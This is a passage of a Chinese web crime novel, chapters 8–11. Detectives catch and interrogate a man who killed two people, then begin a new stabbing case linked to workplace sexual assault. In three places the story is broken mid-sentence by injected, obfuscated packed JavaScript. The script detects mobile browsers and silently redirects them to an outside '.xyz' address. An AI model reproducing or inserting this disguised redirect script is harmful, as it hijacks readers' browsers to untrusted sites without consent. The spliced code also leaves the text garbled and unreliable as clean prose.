报案的是旁边那家理发店的工作人员。 据他所说,今早他过来倒垃圾,正好看到里面躺了个人,想着隔壁是酒吧,或许是有人喝醉之后,不省人事直接睡在那里了,没想到过去喊他的时候,却发现人已经死了。 “有没有可能,害死白薇和池乔的,是同一个人?” 陆闻看向身旁说这话的齐况,最后只是摇头回道:“不清楚,两人的死因是否存在关系,还是得先找到证据才行。” 警戒线外聚集的人已经散的差不多,韩唐在对死者做了初步的检查和记录之后,就带着人把尸体送去了法医鉴定中心。 一时间,在现场进行搜查取证的警员,都挤在这条拥挤的小巷里。 不过现场的痕迹杂乱,目前也没有发现什么有用的物证和线索,好在酒吧和理发店门口都装有监控,陆闻就让苏乐先带回去查看。 他在人群中找了一圈,这才想起林一然现在应该在出租楼那边,眼前能和他一起行动的,大概只有齐况了。 “齐况,你跟我去一趟池氏吧。” 8. 折枝花 陆闻的车停在池氏公司的楼下时,池万笙正好从池氏大厦里出来。 “池先生。”陆闻慌忙下车,三步做两步快速上前去,拦住了准备上车的池万笙,“你好,能占用你的一点时间吗?” 池氏现任管理人池万笙,上班时一身西装笔挺,头发梳的一丝不苟,就连脚上那双黑色皮鞋也在太阳底下闪着光。 他抬手推了推脸上那副金丝细框眼镜,微微侧首看向旁边拦住自己的陆闻:“请问你是?” “哦,”陆闻立刻从外套口袋里掏出自己的工作证,而后举到池万笙的眼前,“蓝海市城东分局警察陆闻,过来想找池总了解些情况。” “不好意思警察同志,我现在还有事,方便请我的助理和你聊吗?” 陆闻没有让步:“池先生,与受害者家属进行沟通交流是我们的工作,还请你能配合。” 池万笙没有立刻回答,而是抬起手腕看了一眼时间:“半个小时够吗?” 池万笙办公室内,陆闻和齐况并排而坐,对面是和助理低声交代着什么的池万笙。 等到房间里只剩下他们三人时,池万笙才首先开口道:“警察同志有什么问题,现在可以问了。” “池先生,请问池乔最近,在外面有得罪过什么人吗?” “没有,小乔平时在外面很少惹事,就算有,也会在当时就拿钱解决。” 池万笙的语气极为平淡,就连陆闻这个整天坐在审讯室里听审的警察,也很难听出他在说这句话时的情绪。 “看来池总对自己弟弟的了解,并不多啊。” 闻言,池万笙的眉心不可觉察地皱了一下,却又很快恢复到平时那副喜怒不形于色的状态:“陆警官这话的意思是?” “不知道池总,听没听说过白薇这个人?” “白薇是我们公司的人,因为小乔,所以我记得比较清楚。” “那好,”陆闻紧抿着唇,似乎是在斟酌着该如何开口,“我们之前找池乔聊过一次,听说白薇是他的追求者,对吗?” “小乔和你是这么说的?” 对于池万笙的反问,陆闻倒没有多惊讶。毕竟证人的证词不可全信,更何况像池乔这种,一定会隐瞒掉对自己不利的言论。 “小乔和白薇平时在公司里是走得近些,只是……”池万笙顿了顿,大概也是在犹豫接下来的话该怎么说出口。 “小乔从小是在外面长大的,或许是因为幼时没有及时受到良好的教育,回到池家之后,他整天游手好闲,与各种女性/交往密切,白薇就是其中之一。” 一旁的齐况突然想到之前的那本相册,里面基本都是穿着暴露的年轻女性,想来应该就是池万笙所说的。 “后来,白薇的男朋友来我们公司,吵着要见小乔,还说只要给他十万,他可以马上离开白薇。” 只是高子凌不知道,白薇对于池乔并没有那么重要,且高子凌在池氏大闹一场之后,池乔就因为面子上挂不住,开始躲着白薇了。 “至于之后发生了什么事,我就不清楚了。”言罢,池万笙摘下眼镜,抬手揉了揉太阳穴。 “池先生,方便我们看下池乔的办公室吗?”一直在旁边没有说话的齐况问了一句。 “当然可以,我这就让助理带你们过去。” “好,”陆闻站起身,点头笑道,“多谢池总的配合,那我们就先走了。” 跟着助理去到池乔的办公室简单查看一番后,两人并没有得到什么有用的线索,谁知就在他们刚走出池氏大厦时,陆闻的手机就响起了。 “陆队,我们在案发现场附近发现了凶器。” “好,我马上回去。” 陆闻挂断电话,转身看向了身后的池氏大厦,直到站在车前的齐况喊了一声陆队,他才终于回神走过去钻进车里—— “有新情况,先回队里。” 原来,在陆闻和齐况离开后不久,负责在附近搜查的警员,就在酒吧后面的小路边发现了这把匕首。 而酒吧后面的小路,与案发现场只有一墙之隔,此外他们还在小巷的墙壁上发现有攀爬的痕迹,应该是作案人在作案后,直接从这里爬墙离开,最后将凶器扔在了路边的草丛里。 陆闻靠在警员办公室的办公桌前,看着对面的苏乐:“从案发现场带回的监控里,有没有发现什么可用的信息?” “案发现场的小巷是监控盲区,不过在酒吧门口的监控里,我们发现有人路过酒吧门口往理发店的方向过去,可是在同一时间理发店的监控里,我们并没有看到那个人从理发店门口经过。应该是直接进了小巷里等着池乔过去。” “看清楚是不是高子凌了吗?” 苏乐摇摇头:“没有,画面里的人戴着帽子和口罩,遮挡的很严实。” “一然那边呢?” “池乔案现场的鞋印与白薇案花园里的鞋印基本一致,但我在白薇家,并没有发现有与两案现场相同鞋印的鞋。” “不过,”林一然从桌上拿起一张照片,递到陆闻面前,“这是我在白薇家的窗户上发现的鞋印,之前苏乐没有在监控里看到高子凌,我猜测人有可能是从这里离开的。” “刀上有作案人的指纹吗?” “没有,作案人处理的很干净。” “嘿,”陆闻叉着腰倒吸了一口气,“这小子精得很呐。” “那把刀的照片可以给我看看吗?” “当然。” 林一然应了一声,然后从那叠照片中找出一张,递给了旁边的齐况。其他几人没说话,似乎都在等着齐况,能从这张照片中发现什么有用的线索。 “这把刀看起来很新,应该是刚买不久。假设作案人是高子凌,为了躲避监控,他应该不会去太远的地方购买作案工具。” “嗯。”陆闻若有所思的点点头,“一然,你和苏乐一组,去白薇家附近北街菜市售卖刀具的店里,询问最近有没有人看见过高子凌。齐况,你和我一组去南街,分头行动,一有情况立刻汇合。” “是。” 蓝海市是沿海城市,地理面积不算太大,共有东西南北四个城区。 其中城东区可分东西两部分,东部靠海,西部多为商业居民区。而在蓝海市公安局城东分局的管辖范围内,主要是有几条主街道以及若干巷道。 不过按照齐况的分析,目前暂且先将搜索目标的范围,锁定在南北两条主街市。 四人按照计划,两两一组上了车,而后在出了分局大门之后,分别向相反的方向驶去。 到了南街街口,陆闻把车停在了路边的车位上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985464|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后和齐况一起下车,分别去了道路两边的店铺里询问情况。 这附近售卖刀具的店铺不多,难办的是,很少有人会对陌生人做太过细致的观察。 这已经是陆闻找的第三家店铺,可对于照片上的人,店老板基本都是在一个很模糊的状态—— “记不清了。” “应该没来过吧。” “没什么印象。” 出了店铺之后,陆闻站在路边的一棵梧桐树下,低头看着手里的照片。 城东区大多是些居民楼和狭窄蜿蜒的巷道,人只要随便往哪里一钻,就能轻而易举的隐身于暗处。 而他们现在的找法就像是大海捞针,可能整个蓝海的店铺都排查完,也找不到作案人的身影。 可是…… 陆闻捏住照片的手指紧了紧。只要人还在蓝海市,还在城东分局的管辖区内,他就一定要找到。 从最后一家店铺里出来之后,陆闻去了对面找齐况汇合,不过他这边也没什么线索,眼下只能等林一然和苏乐那边的消息了。 从店铺出来后,齐况就坐在路边花坛外的公共座位上,拿出照片仔细观察着里面是否还隐藏些什么线索。倒是陆闻,看着周围人来人往,心里却怎么也平静不了。 外套口袋里的手机突然振动起来,陆闻掏出手机按了接听键,而后林一然的声音便从那边传过来:“陆队,这边有家店说见过高子凌。” “我们马上过去。” 陆闻和齐况到达林一然说的店铺时,两人正在电脑前查看店里的监控:“一然,苏乐。” “陆队,”见两人从外面进来,林一然直起身走到他们面前站定,“这家店的老板,说在两天前的晚上见过高子凌进来买刀具,苏乐正在查看那天的监控。” “好。”陆闻点点头,走到苏乐旁边和她一起紧盯着电脑里的画面。 齐况则是转身去了里面的铁架前,拿出照片和上面摆放的刀具做对比。 就在这时,店老板突然出现在他身后,嘴里还带着些当地的方言:“这照片里的刀就是我家的,我认得。” 齐况被吓的身体猛地一怔,待反应过来后,才回过头询问道:“请问,那天你是怎么注意到他的?” “哦,平时来我们店买东西的都是附近的街坊邻居,所以生面孔我都会多看两眼,我记得那天晚上,我都收拾东西准备关门了,一个小伙戴着帽子和口罩就进来了。” “我觉着应该是本地人,长的人高马大的,问他要啥也不理,走到货架上拿了把刀付完钱,就走了。” 店老板说着,指了指货架上的刀具:“喏,就是这样的,付了钱就走了。” “齐况,走了。” 陆闻站在门口喊了一句,齐况闻声移开目光朝他看过去:“好。谢谢配合,我们先走了。” 四人两两并排走出店铺,走在前面的陆闻首先停住,转身看向后边的齐况和林一然:“为了躲开监控,高子凌行动的范围会很有限,从白薇家离开,之后来这里购买作案工具,再到池乔案的现场,基本从居民楼间的巷道就可以穿过。” “一然,联系队里的同事,对这块区域进行重点排查,尤其是废弃的商铺或工厂,很有可能会作为作案人藏匿的地点。” “好的陆队。” 9. 折枝花 几辆警车在路边停下,而后分为若干小组,涌入各个巷道进行搜查。陆闻则带着齐况和林一然,去了距离街市不远的废弃工厂附近。 这是一座废弃了很多年的小型钢材工厂,从北街的一条巷道穿进去,再转几个弯儿就能找到这座工厂的后门。不过因为曾经发生过事故,所以平时很少有人到这里来。 说起来,也算是一个藏身的好地方。 工厂的大门是虚掩着的,陆闻贴近门缝朝里面看过去,意料之中的,只看到了漆黑的一片。 他用手肘抵住门扇,身体前倾施加力气,足有两人之高的铁门被缓缓推开,伴随着发出了沉闷的声响。 身后负责掩护的齐况和林一然,默契地同时屏住呼吸,两人似乎都紧绷着那一根弦,做好了随时行动的准备。 三人就从这窄小的门缝里挤了进去,陆闻首当其冲,贴着墙缓慢向前进。周围都是生了锈的铁片钢卷,将近一人之高,将整间厂房的视线遮挡的严严实实。 几人互相对视一眼,示意可以分头行动,而后三人各自隐身在钢卷后面,一同向厂房的内部走去。 周围静得出奇,只能听到鞋底和地面上的细沙尘轻微摩擦的声音。 三人将整间厂房都搜索一遍之后,才互相确认了这里并没有人在,只是在墙边的几块铁片后面,他们看见了几种化学物品的残留物,还有角落里几盒打开的泡面桶。 看起来应该是这几天之内留下的。 陆闻正准备说话,厂房外的铁门像是被人从外面推开,刺耳的声响让几人立刻警惕起来。 一个黑影随后从门缝间闪过,陆闻首先反应过来,抬起步子便朝门外黑影追了出去,其他两人也在此刻紧随其后。 “警察,别跑!” 一路追出废弃钢材厂,几人穿梭在纵横交错的巷道里面,不过那人明显熟悉这里的地形,拐过几个弯之后,陆闻等人与他也逐渐拉开了距离。 齐况跟在最后面,眼见着前面的人就要往右边的小巷里拐,他立刻调转方向从旁边的小道抄了近路。 就在那黑影跑到路口准备转弯时,正好与分头行动的齐况打了照面。他只稍稍停顿了一秒,刚想转身往相反的方向跑去时,却被迎面而来的齐况抱扑到了地上。 “别动——” 陆闻和林一然适时赶到,一左一右把摔在地上的人反手钳制住,而后陆闻熟练地掏出手铐将其铐上,交给了旁边的林一然。 齐况站起身,看了眼自己被地面擦伤的手掌,因着当时没控制好力度,他这一跤摔的不轻,不过好在总算是抓住了目标。 而一旁的陆闻却没想到,平时看起来温和内敛的齐况,关键时刻竟然会如此的勇敢和果决。 “你没事吧?” 齐况回过神,摇头道:“没事,先带着人回队里吧。” 审讯室内,陆闻和林一然分别坐在审讯桌前,盯着对面神色坦然的高子凌。林一然翻开桌上的记录本准备记录,而陆闻,问出了自己的第一个问题—— “高子凌,你和白薇是什么关系?” 高子凌皱了皱眉,一脸不耐:“你们不是都知道吗……” 眼见陆闻仍紧盯着自己不放,他耸了耸肩,接着又补充一句:“没错,她是我女朋友。” “据了解,你与白薇是同居关系,那么,在白薇失踪的这么多天里,作为伴侣的你,都没想过她是出了什么事吗?” “知道啊,因为炸死她的那包东西,就是我放的。”高子凌轻飘飘地吐出一句话,仿佛只是在交代自己,今天中午吃了什么一样轻松。 陆闻闻言目光一凛,抬起头紧盯着高子凌的眼睛。 后者却只是笑了笑,咧着嘴唇道:“其实我没想害死她的,谁让她不听我的话,非要背着我去找那个男人,她活该。” “说说作案过程。” “作案过程啊……”高子凌脸上的笑忽地变的有些僵硬。 直到彻底收敛了之后,他才缓缓开口道:“在钢材厂配出炸药,然后从花园进去,打碎玻璃之后把东西放好。临走时我拉上了窗帘,所以他们没注意到落地窗破了。” 和他们在现场发现的线索以及推论高度一致。 其中几点细节说的很清楚,比如他们确实在钢材厂发现了与炸药残留物相同的化学成分,作案人确实是从花园进去,而且从燃烧剩下的半截窗帘可以看出,当时窗帘确实是拉上的。 还有高子凌的这身衣服,和当时他们在监控里看到的,那个进出别墅区的人影完全一致。 “出租楼附近的监控显示,你从8日的早上7点进出之后,就再没有离开过。” “嗯,我知道出租楼的路口有监控,所以从家里的窗户跳下去之后,就从小道去了钢材厂。那地方平时没什么人过去,我就把配好的炸药放在了那里。” “那池乔呢?” “你说那个富二代?”高子凌仰起头,眼神里带着几分不屑,“如果不是因为他,白薇又怎么会闹着要和我分手?第一次没能炸死他,还害的我误杀了白薇,我当然不会轻易放过他!” 陆闻从桌上拿起那张,之前从店老板那里带回来的监控截图的照片:“5月14日晚10点47分之后,你在强军杂货店停留了五分钟左右。” 说完,他又拿起酒吧门口监控截图的照片,将画面对准了高子凌那边:“15日凌晨1点23分,你从案发现场旁边的酒吧门口经过,之后却没有离开,就是为了等着池乔出来,对吧?” 高子凌微一挑眉,将戴着手铐的手放在了大腿上:“没错。” 他没有否认:“我爸以前是医生,所以人哪些部位致命我也了解一些。池乔应该也没想到,自己一个风流潇洒的公子爷,最后会死在杂货店里,一把几十块钱的水果刀下吧。” “哼!哈哈哈哈哈……”说着,高子凌突然面露狰狞地狂笑了起来,“你们知道吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985465|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当时我看着池乔满脸惊恐的表情,我有多开心。他活该!如果没有他,白薇绝不会和我分手,如果没有他,我和白薇现在一定生活的很幸福。” “可都是因为他,我们的生活都被他给毁了!原本被炸死的就应该是他啊,他才是罪人才是害死白薇的凶手,我是在为白薇报仇啊,替白薇制裁这个混蛋,我有什么错?” 陆闻看着近乎疯狂的高子凌,面上却未起丝毫波澜,因为从最开始他就知道,这个人已经没救了,思想和行为都是。 “没有人能妄想绕过法律惩罚谁,而你口中的制裁,也不过是用来逃避罪行的借口罢了。” 陆闻从审讯室出来时,齐况正等在门外:“陆队,高子凌的鞋印与两处案发现场的对比结果出来了,完全一致。” “嗯。”陆闻点点头,“高子凌的口供和我们在现场搜集到的证据也都对的上,整理好之后,就交到检察院那边处理吧。” 这段时间连续往返于分局和案发现场,如今好不容易抓住作案人,大家都稍微放松了些。 而林一然还在附近的店里买了茶饮,打包带给办公室的同事。 他站在队长办公室的门口,透过玻璃窗能看到陆闻正坐在办公桌前,低着头翻阅案卷,于是抬手敲了敲门:“陆队,我进来了。” 林一然转动把手推门而入,而后走到办公桌前,将茶饮放在了旁边:“陆队在看前段时间的失踪案?” “嗯。”陆闻点头,抬手揉了揉太阳穴的位置,“这些案件因为案情复杂或缺少证据,暂时都被积压在这里,多看看说不定会有些头绪。” 林一然走到陆闻旁边,歪着头看了眼案卷的内容:“这几起失踪案里,基本都是十五六岁的青少年。父母常年忙于工作,对儿女疏于照顾,所以除了家和学校附近的监控,无法提供更多的证据呢。” “啊,或许吧。” 陆闻点点头,忽地想起小时候,父母忙于工作无法照看自己,要不是邻居家的老爷爷管他吃喝,他现在可能就是个长不高的豆芽菜。 “未成年的孩子,大多对未知事物保持一种新奇的态度,且遇到危险之后很难依靠自己的力量逃脱。” “在如今的社会,由于学习和家庭的压力或隔阂,也是造成他们与大众越来越远的原因之一。而落出队伍的那个人,往往会最先成为目标。” 陆闻盯着案卷上,那一张张在稚嫩与成长之间,朝气蓬勃的青春面容。他们的眼眸清澈无暇,里面有对未来无限美好的期待与想象。 他端起林一然刚拿进来的纸杯,放在嘴边轻轻地吹了口气,杯口的雾气蒸腾而上,将陆闻停留在案卷上的视线缓缓遮挡起来。 蓝海市公安局城东分局,一楼大门进进出出,来往多是步伐匆忙的警员。 就在这时,人群里多了一位面容憔悴的中年女性,她在门口停留了几秒,而后快步走到大厅的柜台前—— “你好,我报失踪。” 10. 玉面 “妈,时间来不及了,我先去队里了。” 一大清早,陆闻穿上外套,着急忙慌地从卧室出来,李如芳还在厨房里做饭,听见动静,连忙探出身来—— “哎哎哎,拿两个包子再走啊!” 李如芳说着,转身进去用饭盒装上几个刚出锅的包子:“喏,路上带着吃,不吃早饭可不行啊。” “好好好,谢谢妈,我先走了啊。” “臭小子……” 快步进到停车场之后,陆闻打开车门,将饭盒放在副驾驶,然后弯身钻进车里。 从他家到城东分局,全程大概二十分钟左右,在等红绿灯的空当,他才赶忙打开饭盒吃了一口包子。 谁知,就在陆闻刚驶上前面的高架桥时,他竟注意到桥边,正站着一位欲轻生的女孩儿。 “什么情况?” 在确定自己没有看错之后,陆闻紧急把车停在路边,而后打开车门一个箭步冲了出去:“等一下!” 就在那个女孩儿抬脚准备翻下高架桥的瞬间,陆闻从背后一把抱起她,并快速将其控制住,又立刻拖着她退到了安全区域。 “放开我!放开……” 陆闻就这样任由着那个女孩儿挣扎,直到后来女孩儿耗尽了力气,他才松开手:“实在不好意思,不过你现在好些了吗?” 那个女孩儿没说话,只愣怔地盯着某处,直到陆闻挥动手掌在她的面前晃了晃,她才终于回过神,却像是被吓了一跳,猛地朝后面退出一大步。 “你不用害怕。”陆闻连忙收回手,稍微露出些他觉得还算温和的笑容,“我是警察,你有什么困难可以和我说。” 闻言,那个女孩儿的表情,却突然变的惊恐起来:“警……警察?!” 陆闻点点头,正欲说话时,口袋里的手机突然振动起来。看着来电显示上齐况的名字,他按下了接听:“喂。” “陆队,”齐况的声音从电话那边传来,“你到了吗?城悦小区发生命案,现在大家已经往现场去了。” “城悦小区?”陆闻没忘记的话,城悦小区就在下了高架桥不远,“我就在……” “啊——!”陆闻还没来得及说完,就被面前女孩突来的大喊吓了一跳。 他朝那女孩看过去,只见后者正捂着自己的头,面容惊恐地重复着一句话:“不是我杀的,我没想杀的,不是我杀的,我没想杀的,不是我……” 陆闻微微眯起眼眸,直觉告诉他,这个女孩儿和城悦小区的案件,或许脱不了干系。 城东分局,陆闻毫不犹豫地跳下车,又走到另一边将女孩带出来,然后一起进了大队的警员办公室。 大概是人都去了案发现场,此刻整个警员办公室里,只有苏乐一人坐在电脑前,紧紧盯着眼前的画面。 “苏乐。” “陆队。”苏乐将画面点了暂停,“这不是……” 就在她回头看清身后和陆闻一起出现的女孩儿后,面上竟浮现起难以置信的惊讶:“案发现场的嫌疑人?” 没错,在警察去往现场的这段时间里,他们最先发现的,就是案发现场的监控。 为了减少作案人在作案后的逃跑时间,苏乐决定先带着监控回来,确认案件涉及到的有关人员。 而此刻,陆闻身边站着的这个女孩儿,在苏乐刚才看到的监控画面里,正拿着一把利刃,将此案的受害者捅伤在地,而受害者最后也因为失血过多休克而死。 闻言,这个女孩儿并没有什么反应。相比刚才的惊恐和慌乱,现在的她面无表情,目光无神如同一个空洞。 陆闻重重地吐出一口气,摆摆手带着人去了审讯室的方向:“先对嫌疑人做询问笔录,其他的等他们从案发现场回来再说。” “好。” 苏乐跟着陆闻一起进了审讯室。她坐在旁边的位子上,翻开面前的记录本,然后等着陆闻开始。 陆闻随后坐下,将刚从女孩那里拿到的身份证仔细确认了一遍,而后开口问道:“怎么样,现在你的心情好些了吗?” “嗯。”那女孩点点头,“好些了。” “那好,麻烦报一下身份信息。” “江南……”那女孩缓缓开口,声音里带着颤抖,“我叫江南,今年21岁,蓝海人。” “我们在案发现场的监控里,发现你用刀捅伤了受害者,造成受害者失血性休克死亡,在这里你有什么要说的吗?” “是……是我,”江南的头垂的越来越低。 她抬起戴了手铐的手,捂着脑袋不停地颤抖:“是我杀了他!因为他威胁我,是他先威胁我的,我只是太害怕了。” “他威胁你什么了?” “他,他……” 江南的眼睛睁的越来越大,仿佛是看见了什么她这辈子再不愿看到的景象,就连表情也跟着扭曲起来:“不,不要!不要这样,不要!你别逼我!” 江南捂住脑袋,将整张脸都深埋在胳膊下面,她用力地叫喊着,仿佛要将压在心底的所有情绪都发泄出来。 陆闻没再说话,他朝一旁的苏乐使了个眼色,待对方明白自己的意思之后,就起身出了审讯室。 江南的声音被隔在门内,陆闻转身去了隔壁的监控室。 透过监控他看向另一边的审讯室,只见此刻苏乐正蹲在江南身旁,拿出一张纸巾递到她手里。 “陆队,江南的情绪不太稳定,我建议还是晚点再询问比较好。” 城悦小区,受害者的尸体在经过初步检验后,已经被法医鉴定中心的人先带走了。齐况还在这里跟着其他同事一起搜查现场,希望能找出更多与本案有关的证据。 “齐哥,”林一然拿着电话从门外进来,“苏乐打电话过来,说通过监控已经确认了作案人的脸,而且人现在就在队里。” “这么快?” “苏乐说人是陆队带来的,具体情况我也不太清楚,不过人现在的情绪很不稳定,什么都不肯说。” 齐况点点头:“了解。对了,受害者那边的信息查到了吗?” “噢,查到了。”林一然翻开手里的记录本,对着齐况说道,“张涛,24岁,蓝海本地人,无配偶。据说高中毕业后不久由父母出资开了家菜馆,生意一直不错。” “我知道了,那受害者家属呢?” “嗯……听苏乐说,人现在好像在去往分局的路上。” “我的儿啊!”城东分局,一名中年女性坐在接待室的沙发上,抱着受害者张涛生前的照片掩面痛哭。 半个小时的时间里,坐在她对面的苏乐,好不容易安抚好两位家属的情绪,谁知,还没来得及向受害者父亲提出问题,受害者的母亲就又在旁边哭了起来。 苏乐有些无奈地叹了声:“不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985466|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位家属,但是我们必须要了解到,受害者生前是否与人发生过什么冲突?” “啊……”张瑾没理会旁边人的哭闹,只是低头仔细想着,“我儿子是开门做生意的,肯定不会轻易和别人吵架。不过说起来,确实是有那么一个女孩儿……” “喂!”于禾忽地拉住张瑾的胳膊,而后朝他使了个眼色,“不准胡说!” 苏乐有些摸不清状况:“不好意思,但是如果有所隐瞒的话……” “我不管!”于禾大喊一声,打断了苏乐接下来的话,“你们是警察吧?是警察的话,就去给我抓住那个害死我儿子的贱人啊!” “所以说,其实你们知道杀害张涛的人是谁,对吧?” 苏乐的身形微微一怔,旋即立刻转头看向来人:“陆队。” 陆闻双手插兜走了进来,而后靠在门边的置物桌前,紧紧盯着并排而坐的两人:“我是城东分局刑侦大队的队长陆闻,不好意思打断了几位的谈话。” “不过访问受害者家属,以此根据受害者家属提供的证据或线索查出作案人,是我们在对于刑事案件侦查的必要过程。” “所以呢,还请两位在提供证词的时候,不要对我们警方有所隐瞒,毕竟扰乱警察办案,也是会涉及犯罪的哦。” 言罢,陆闻朝两人露出了一个毫无攻击性的笑容。 听着陆闻意有所指,于禾有些气不过,她忽地跳起来,指着陆闻的方向大声道:“你这是在威胁我们吗?信不信我去投诉你!” “如果我的言语让二位感觉受到了冒犯,可写建议信或投诉信送至一楼大厅的服务窗口,城东分局随时都接受民众的意见和建议。” “你……” 于禾被气的说不出话,可指着陆闻的手仍停在半空。最后还是张瑾站起身,然后按住于禾让她先坐下,周围突然陷入寂静之中。 “不好意思两位家属,”苏乐摆摆手,首先打破了几人之间的沉默,“但还是请两位,接下来能如实回答我们的问题。” 于禾和张瑾同时往陆闻那边看了一眼,见对方也在看着这边,于禾才用手肘碰了碰旁边的男人,示意他来说这件事。 “小涛之前,确实和他店里的一个小姑娘有些过节,小涛也因此被拘留过几天,后来还是他妈找人给他保了出来。” “现在想想,大概就是因为这件事,那个姑娘才对小涛怀恨在心,没想到这次还狠心害死了小涛。” “小涛能与她有什么过节?” 张瑾的话音未落,坐在他身旁的人便急的跳起来:“小涛是个好孩子,明明是那个不要脸的小贱人,勾引不成就诽谤我儿子非礼!” “够了!”张瑾低吼一声,似是实在看不惯于禾无理取闹的模样,“这里可是公安局,你非得把脸都给丢尽才高兴吗?!” “你……”于禾没敢发火,只憋着劲儿的望着张瑾,直到再也忍受不下去,才抬手掩面痛哭起来,“我可就这么一个儿子!” “实在抱歉。” 接待室里,苏乐正在安抚于禾的情绪,接待室门外,张瑾挠了挠头,有些不好意思地看向对面的陆闻:“今天我们确实有些失态了。” 陆闻摇摇头:“张先生不用介意,你们的心情我都能理解。” 张瑾的嘴唇动了动,似有些犹豫,最后还是沉着声开口道:“其实,关于那姑娘的事……” 11. 玉面 “就是这里,”城东菜市场的十字路口旁,两人在其中一家小餐馆前站定,林一然抬起头,看向门口招牌上的四个大字,“有家菜馆。” 两人走进店里仔细观察了一番,让人没想到的是,周围的炒菜馆在这个时间都已经坐满了人,而这家餐馆却连一位顾客都没有。 齐况抬手摸了摸下巴,转身面向餐馆后厨的方向:“请问,有人吗?” “有的,”一个身穿工作服的年轻女孩儿从后厨走出来,对着两人露出了甜甜的笑容,“请问两位需要点什么?” 林一然走到齐况身旁站定,而后向对方出示了警察工作证:“我们是城东分局的警察,过来了解点情况,请问这里只有你一个人吗?” 那女孩儿立刻摇摇头,抬手往后厨的方向指了指:“还有厨师在。” “不好意思,我们需要占用你们一点时间,现在方便吗?” 餐馆二楼的包间里,两人并排而坐,看着对面有些不安的女孩儿。还是林一然首先开口安慰道:“你不用太紧张,我们只是想向你了解一些,关于张涛的情况。” “老板?”听到这个名字,那女孩儿的表情变得有些不自然起来,“我……我来这里没多久,什么都不知道。” 闻言,齐况和林一然默契地对视了一眼。其实谁都能猜到,通常在这种情况下,对方一定知道或者在刻意隐瞒些什么。 “你的证词对我们来说很重要,如果可以,我们还是希望你能积极配合调查。” 话是这么说,可女孩儿一直放在桌下紧扯着衣角的手,似在表明她的犹豫。良久,两人还是只见她紧咬着嘴唇,憋红的眼眶似乎在下一刻就要哭出来。 齐况决定不再给这个女孩儿施加压力,于是在碰了碰林一然的胳膊后,两人起身准备离开。 “等……等一下!”就在齐况刚要迈出包间的门时,女孩儿突然叫住了两人,“你们,想问什么?不过,千万不要告诉他们是我说的。” “当然,我们绝对不会透露证人的信息。” 齐况和林一然重新回到座位前坐下,而后林一然拿出摄像机,试探着问了一句:“方便录像吗?放心,这个不会给其他人看的。” “可以。” 见女孩没有拒绝,林一然这才将摄像机放在桌子上,然后按下开关,问了第一个问题:“麻烦可以告诉我们你的名字吗?” “我……我叫慕舒,是五个月前,来到这里工作的服务员。” “那据你了解,张涛是个什么样子的人呢?” 慕舒有些犹豫,她不由自主地往镜头那边瞥了眼,而后深吸一口气道:“我们老板是个对工作挺负责任的人,他平时对顾客特别热情,对店里的员工也都很好。而且他长得帅有礼貌,所以来我们这里的基本都是常客。” “照你这么说,你们店的生意应该很好?”见慕舒点头,林一然又追问了一句,“那为什么我们过来的时候,店里却一个人都没有呢?” “那是因为……”慕舒放在桌上的拳头紧握着,“我们老板,他其实被拘留过。” “因为什么?” “因为,因为……”慕舒缓缓低下头,避开了两人审视的目光,“我不知道,真的。” “齐哥,这……” 林一然朝齐况那边看过去。后者未言,只是拿出手机,而后点开一张图片,将屏幕对准了慕舒:“你认识这个人吗?” 闻言,慕舒将目光移到了齐况的手机屏幕上,在看清图片里的人是谁后,她不由自主地瞪大了眼睛,惊呼道:“江南!” 齐况收回手机,点头道:“对,不过她现在正在公安局接受询问。” 慕舒的情绪突然变的激动起来:“公安局,她为什么会在那里?难道她真的……” 慕舒没有继续说下去,可对于这件事,她显然是知道的。 对面的两人没有说话,这更是印证了慕舒此刻的想法,她撑着木桌的手臂仿佛脱了力,缓缓垂了下去。 “是。”良久,慕舒终于再一次开口。她吸了吸鼻子,抬起有些湿润的眼睛,“那是在三个月前,我看清了张涛的真正面目。” “那天店里忙到了很晚,最后只剩下我和张涛两个人在。收拾好东西准备下班后,我就进了休息室里换衣服,没想到张涛却突然闯进来,还想要侵犯我,好在我当时身体不方便,张涛只好作罢。” “而且后来他还威胁我,如果我敢把这件事说出去,他就绝对不会放过我,我当时真的特别害怕。” “我本来以为,只要我不说,这件事就能这么过去了。可是后来,有一次我晚上回去店里拿东西的时候,正好撞见张涛把江南关在了休息室……” “可是我不敢,”慕舒咬紧了嘴唇,身体也不由自主地颤抖着,“我根本不敢说话,因为我怕张涛发现我。” “后来,每天晚上我的耳边都能响起江南的求救声,那时候我多希望自己当初能勇敢点,这样她就不会……” 说到这里,慕舒已经是泣不成声,林一然抽出一张纸巾递给她,待她整理好情绪后,齐况才斟酌着开口道:“如果回忆这些事情会让你很难受,我们随时可以停止记录。” 